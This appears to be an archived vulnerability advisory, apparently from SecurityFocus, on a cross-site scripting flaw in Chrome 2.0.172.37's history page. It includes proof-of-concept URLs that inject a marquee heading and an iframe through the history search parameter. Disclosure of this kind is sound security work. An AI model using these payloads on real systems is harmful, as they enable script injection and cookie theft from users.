16 lines
925 B
Text
Executable file
16 lines
925 B
Text
Executable file
source: http://www.securityfocus.com/bid/35841/info
|
|
|
|
Google Chrome is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
|
|
|
|
An attacker can exploit this issue to execute arbitrary script code in the context of the user running the application and to steal cookie-based authentication credentials and other sensitive data that may aid in further attacks.
|
|
|
|
Chrome 2.0.172.37 is vulnerable; other versions may also be affected.
|
|
|
|
chrome://history/#q=%22%3E%3Cmarquee%3E%3Ch1%3Ebikolinux%3C%2Fh1%3E%3C%2Fmarquee%3E
|
|
|
|
view-source:chrome://history/#q="><marquee><h1>bikolinux</h1></marquee>
|
|
|
|
chrome://history/#q=%22'%3E%3Ciframe%20src%3D%22http%3A%2F%2www.example.com%22%20height%3D%221024%22%20width%3D%22800%22
|
|
%3E%3C%2Fiframe%3E
|
|
|
|
chrome://history/#q=%22'%3E%3Ciframe%20src%3D%22http%3A%2F%2www.example.com%22%20height%3D%221024%22%20width%3D%22800%22
|